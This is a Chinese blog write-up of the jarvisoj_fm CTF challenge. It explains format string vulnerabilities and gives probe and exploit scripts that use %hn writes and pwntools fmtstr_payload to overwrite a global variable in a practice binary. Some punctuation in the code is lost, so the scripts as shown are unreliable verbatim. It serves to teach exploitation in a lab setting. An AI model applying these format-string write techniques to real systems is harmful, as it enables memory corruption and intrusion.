格式化字符串漏洞入门:jarvisoj_fm题解与利用实战

发布时间:2026/10/13 5:55:57
格式化字符串漏洞入门:jarvisoj_fm题解与利用实战 今天聊一道格式化字符串漏洞的入门必做题jarvisoj_fm。这道题在pwn方向的练习队列里几乎是绕不过去的很多人第一次发现printf那行代码居然能把数据写进内存就是从它开始的。它不考栈溢出不考ROP核心就一个点怎么利用printf(buf)这个格式化字符串漏洞把bss段上一个全局变量的值改写成指定内容。整个过程麻雀虽小五脏俱全——要找偏移、要构造payload、要处理输出计数、要避开各种截断坑。适合刚学完栈溢出、对pwn有一点基础但还没碰过格式化字符串的读者也适合想系统梳理fmtstr利用手法的选手当复习材料。1. 题目概览先看清这道题到底在考什么1.1 拿到题目后的第一轮检查拿到fm这个二进制老规矩先上file和checksec$ file fm fm: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, not stripped $ checksec --file./fm [*] fm Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)解读一下这几个保护字段32位程序意味着传参走栈格式化字符串的偏移查找会比64位舒服很多。栈上没开canary说明题目没打算在溢出上做文章重点不在ROP。NX开启说明栈不可执行别想着往栈上塞shellcode。最关键的是PIE没开代码段、bss段的地址全部固定这意味着我们可以在payload里直接写死目标变量的地址不需要先泄露再计算。很多人一开始不习惯看checksec觉得这是走形式其实fmtstr题目的利用策略一大半都写在保护信息里有没有PIE决定你要不要两段式攻击是不是64位决定你的参数偏移怎么数。1.2 反汇编找到漏洞点用IDA打开main或者vuln函数的逻辑非常简单核心代码就两三行int vuln() { char buf[88]; scanf(%s, buf); printf(buf); return 0; }问题就出在printf(buf)这一句。正确的写法是printf(%s, buf)这样buf无论里面是什么内容都只会被当作普通字符串打印。但现在buf被直接塞到了格式字符串的位置如果buf里含有%x、%n这种格式符printf就会把它们当作格式指令来解析并且从当前栈帧继续往上取参数。fmtstr漏洞的本质就是可控输入进入了格式字符串的位置导致程序替攻击者执行了越权的内存读取和写入。同一个二进制里通常还有一个全局变量magic初始值是0。题目的判定逻辑一般是if (magic 某个特定值) system(cat flag)。所以这题的完整目标就一句话通过一次printf把magic的值改写为指定内容。以fm为例目标值一般设计成0x67616c66这种看起来像字符串的常数本文演示时也按这个值来构造。1.3 为什么这种设计特别适合入门把“改写一个全局变量”当成唯一目标其实是一个被精心设计的教学闭环。相比栈溢出题要构造ROP链、要考虑gadget、要考虑栈对齐fm把利用路径压缩到最短程序只给你一次printf机会目标变量就在bss段地址固定你要做的只是让这一次printf完成一次定向写。它不会让你分心去研究别的利用技术而是把你按在fmtstr这一个知识点上反复摩擦。可以这样理解栈溢出题的核心是“控制流程”格式化字符串题的核心是“控制数据”。fm替你把控制数据的范围缩到最小——不需要泄露libc、不需要管栈地址只要把一个静态地址上的变量改成指定值。等你把这一步做透了后面再遇到64位、PIE、多次printf组合的fmtstr题都是在这个地基上盖楼。2. 格式化字符串漏洞原理把printf的第二个参数讲明白2.1 printf的传参模型先回到C语言的可变参数机制。printf是可变参数函数在32位程序里调用时参数按从右到左的顺序压栈。第一个参数是格式字符串的地址后面跟着任意多个格式化参数。printf内部按格式字符串逐字符解析遇到%d就从参数区取一个整数遇到%s取一个指针指向的字符串遇到%n则取一个指针并把当前输出字符数写入这个指针指向的内存。打个比方格式字符串像一张点菜单格式化参数像厨房按顺序端上来的菜。正常点单时菜单上有几个菜名厨房就上几道菜。fmtstr漏洞就是我们偷偷改写了菜单写上了根本不存在的菜名但厨房不知道还是按顺序往桌上端——桌上没有菜了就从邻桌随便拿。更准确地说printf在取格式化参数时是从调用者压入的参数区里按偏移顺序取值的。如果格式字符串里写了4个%x但调用时只传了1个参数printf照样会把栈上后面那些“不属于它”的数据当作参数打印出来。这就是为什么你能通过%x看到栈上的返回地址、局部变量、甚至环境变量指针。2.2 格式符的分工读和写fmtstr利用中常用的格式符可以分成两类%d、%x、%p、%s读取方向。%x把参数按十六进制打印%p按指针格式打印%s会把参数当作地址并解引用那段内存。读操作是泄露的根基。%n、%hn、%hhn写入方向。%n把目前已输出的字符数作为整数写入参数指向的地址。%hn写2字节%hhn写1字节。%n是整个fmtstr攻击的命脉。比如执行printf(AAAA%n)这里没有提供任何指针参数printf会从栈上随便拿一个值当作指针然后往那个地址写入4因为前面已经输出了4个字符。利用者真正要做的是把栈上那个“被随手取到的值”变成自己想要的地址这样%n就会把输出计数写进目标地址。2.3 从“读”到“写”的关键一跳很多初学者卡在这里%x能泄露数据我能理解但怎么让%n往指定地址写关键在控制栈上参数位置。假设我们往buf里放了一段构造好的payloadbuf本身就在栈上而且buf恰好落在printf解析参数的“取参区段”里。那么buf开头的字节就会被printf当成一个具体的参数值。如果我们把目标地址放在buf开头它就成了第N个参数的实际值。此时用%N$n这种位置参数语法直接指定第N个参数就能把目标地址作为写入指针来使用。举例说明用AAAA.%x.%x.%x.%x调试时如果发现第4个%x打印出0x41414141说明buf开头恰好是第4个参数。把AAAA换成目标地址再用%4$n就完成了一次写操作。%N$n语法里的N是参数编号它的意义就是不用挨个输出中间那些%x来消耗计数而是直接精准命中第N个参数。这个语法支持所有格式符所以%N$x是泄露第N个参数%N$hn是把第N个参数当作写入地址、写2字节。2.4 32位和64位的传参差异fm这类老题大多是32位所有参数都在栈上按顺序排好找偏移非常舒服。64位程序则不同前6个参数会走寄存器格式字符串本身在rdi后续参数按rsi、rdx、rcx、r8、r9的顺序取再往后才轮到栈。所以64位fmtstr找偏移时输出里经常先出现一串寄存器值真正的可控buffer往往落在第6个参数之后。这意味着两件事一是64位payload里地址的放置位置要更靠后二是如果一次printf想同时放多个地址和多个%N$hn栈上的空间规划要格外小心。fm没这些烦恼但原理上必须区分清楚不然等换到64位题的时候会一脸懵。3. 实操流程从找偏移到写exp拿flag3.1 第一步确认magic的地址用IDA打开fm在左侧的函数窗口找到引用magic的位置点进去就能看到它在bss段的地址。这里假设是0x804A048实际以你本地反汇编结果为准。因为程序没开PIE这个地址每次运行都一样可以直接写进payload。magic_addr 0x804A048如果目标文件是用gdb调试或者readelf查看可以用readelf -s fm | grep magic来验证符号地址。不同版本题目给出的地址可能略有差异不要照抄网上的exp一定自己确认一遍。3.2 第二步用“数数法”确定参数偏移写一个探测脚本发送一串“AAAA.%x.”的重复payload然后看0x41414141出现在第几个%x的位置。from pwn import * context.log_level error def probe(rounds30): p process(./fm) payload bAAAA. b%x. * rounds p.sendline(payload) out p.recvall(timeout2).decode(errorsignore) p.close() parts out.split(.) for i, part in enumerate(parts): # 小端序的0x41414141可能带前导0所以判断后缀 if part.lower().endswith(41414141): print(f[] offset found at position: {i}) return print([-] not found, try more rounds) probe()注意这里的输出分割逻辑payload开头是4字节的AAAA然后依次是第1个%x的输出、第2个%x的输出……如果AAAA出现在第11段意味着buf开头的第一个字节就是printf视角下的第11个参数。这个数字就是后面构造%N$hn时要用的N。题目做多了你会发现偏移值跟编译器、栈帧深度、运行环境都有关系本地终端开多开少都可能差一位。所以一定当场测别用记忆里的固定值。3.3 第三步目标值太大用%hn分两段写现在目标是把0x67616c66写进magic。如果直接用一个%nprintf必须先输出0x67616c66个字符也就是1734435934个字节。先不说远程平台撑不撑得住本地也够你等半天的。所以常规做法是用%hn一次写2字节把目标值拆成两个半字分别写入。0x67616c66在内存中的小端布局是66 6c 61 67。对应到magic地址处低2字节为0x6c66十进制是27750高2字节为0x6761十进制是26465。因为输出计数只能单调递增我们先写较小的值26465再继续输出到27750写较大的值。假设偏移是11构造思路是先放 addr2对应参数11再放 addr对应参数12 先输出 26465 字节往 addr2 写 0x6761 再输出到 27750 字节往 addr 写 0x6c66从payload开头算p32(addr2)和p32(addr)已经占8字节所以第一个补丁需要再增加26465-826457字节用%26457c实现第二个补丁需要从26465增加到27750再增加1285字节用%1285c实现。3.4 第四步完整exp脚本from pwn import * context.arch i386 context.log_level info p process(./fm) magic_addr 0x804A048 # 以实际IDA为准 # 注意地址顺序先addr2后addr payload p32(magic_addr 2) p32(magic_addr) payload b%26457c%11$hn # 写0x6761到addr2 payload b%1285c%12$hn # 写0x6c66到addr p.sendline(payload) p.interactive()如果脚本一次性跑通说明偏移确实是11魔术值也写对了。如果发现magic值不对或者程序行为异常优先检查两部分一是偏移数字是否和探测结果一致二是%hn的写入地址顺序有没有写反。3.5 用fmtstr_payload验证理解pwntools提供了自动化工具可以一行生成fmtstr的payloadfrom pwn import * p process(./fm) magic_addr 0x804A048 payload fmtstr_payload(offset11, writes{magic_addr: 0x67616c66}, write_sizeshort) p.sendline(payload) p.interactive()fmtstr_payload会自动计算每段的输出计数、自动处理地址排序甚至能处理地址含\x00时的分段问题。我强烈建议先用手动方式把上一节的payload跑通一次再对比fmtstr_payload生成的结果。你会发现两者在“先写哪个半字、补多少个字符”的逻辑上完全一致。能对上说明你是真的懂了而不是只会调库。4. 常见问题与排查技巧实录4.1 定位偏移时看到的数字对不上最典型的表现是AAAA确实打印出来了但位置比预想的大1位或者小1位。原因通常是栈上多了或少了某个返回地址、环境变量指针或者编译器优化调整了局部变量的布局。对付这个问题唯一可靠的办法是现场测外加用gdb验证。在printf处下断点看栈上前几十个参数分别是什么gdb ./fm b printf run payload_file x/30wx $esp观察哪个位置的值正好是0x41414141那个位置就是你要的偏移。记住fmtstr题最忌讳背偏移同一个题目在不同环境下偏移都可能不一样。4.2 printf在地址处截断如果目标地址是栈地址比如0xffffd0xx那么p32(addr)编码后会包含\x00字节。printf解析格式字符串时按C字符串处理遇到\x00就停止后面的%n全部失效。fm的bss地址一般不含\x00所以可以放心把地址放在payload开头但凡是改栈上内容或者改含\x00的地址就要警惕。解决办法是把地址拆到偏移靠后的位置把格式符放在前面或者让pwntools自动处理。4.3 scanf和换行、空格的坑scanf(%s)遇到空白符会停止读取所以payload里不能包含空格和换行。注意%26457c本身不会给payload引入空格空格是printf运行时生成的填充字符不在输入的payload里因此不冲突。真正要留意的是调试时手动在终端粘贴payload一不留神带入换行就会截断。写完payload后养成习惯print(repr(payload))看一眼确保没有意外字节。4.4 改完值却拿不到flag把这个环节最容易踩的坑整理成速查表现象可能原因排查方向magic值没变成0x67616c66偏移错误或写入地址顺序反了用gdb查看magic当前值比对写入后半字是否正确程序直接崩溃某个%N$hn把地址写到了非法位置检查payload里p32地址有没有被截断、参数编号是否指向了错误的位置远程跑不通本地正常远程环境偏移不同或网络读缓冲不够重新探测远程偏移recv时加长timeout执行后无回显触发了system但flag文件路径不对确认resp中是否有flag尝试cat flag或直接看交互输出输出巨大的空格串后超时一次性写入太大的值导致输出过长用%hn拆半字或者改用%hhn写单字节降低输出量fmtstr手动构造时最隐蔽的问题就是输出计数的单调性。%n写入的是“当前已输出的字符数”所以一旦第一段输出超过了目标值就没有办法“退回去”。这也是为什么要先写较小的半字、再写较大的半字。如果你看到某个payload里两个%hn的值一大一小且顺序写反了肯定要出问题。5. 从fm延伸出去fmtstr在现代题目里的进化5.1 fm的出题模型为什么经典fm的整个利用路径很清晰一个可控格式字符串确定栈上参数位置用%hn写目标值。这个闭环覆盖了格式化字符串利用的全部核心动作而且把干扰降到最低。做会这道题等于把fmtstr的“写”这一半打通了。接下来再遇到“泄露”相关的题无非是把%x换成%s、把目标地址从bss换成GOT思路是完全连贯的。5.2 从fm出发可以怎么深入fmtstr在现代赛题里很少单独出现更多是作为组合技的一部分。从fm的基础出发常见的扩展方向有几个。64位fmtstr需要处理寄存器传参前6个参数不占栈导致可控buffer的偏移通常比较大payload里地址放不下太多。很多题会设计两次printf第一次先泄露地址第二次再写入。开启PIE的题代码段和bss地址每次运行都变那就必须先用%p或者%N$s泄露某个已知符号地址算出程序基址再重新计算目标地址然后第二次printf完成写入。整个过程就是fm思路的延伸只是多了一个“先算地址”的步骤。还有一类题会限制输入长度比如buf只有16字节。这时候fmtstr的payload放不下两个地址加两个补丁需要借道栈迁移或者把地址放在可控的栈顶位置。这类题比较进阶但底层逻辑仍是fm教的那些东西。5.3 建议的练习顺序如果fm你已经能不看任何参考独立写出来下一步可以按这个顺序练先做一道64位同类型fmtstr题感受寄存器传参带来的偏移变化再做一道PIEfmtstr的组合题练习两段式攻击最后尝试fmtstrROP的复合题把写入和控流结合起来。每道题都用gdb跟一遍栈别只看脚本跑通就完事。fmtstr刚上手的时候很容易陷入“脚本跑通就收工”的状态因为fmtstr_payload太方便了。但等你遇到带PIE、带多次输出的题目就会发现手动去算每一次输出的字符计数、去排地址顺序才是在真正建立对栈布局的感觉。我做fm的时候最有收获的一刻不是exp跑通而是把payload拆开逐个字节算清楚为什么26457和1285会落在那两处。建议大家也照着做一遍。这个基础打牢之后后面遇到再花哨的格式化字符串题万变不离其宗。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询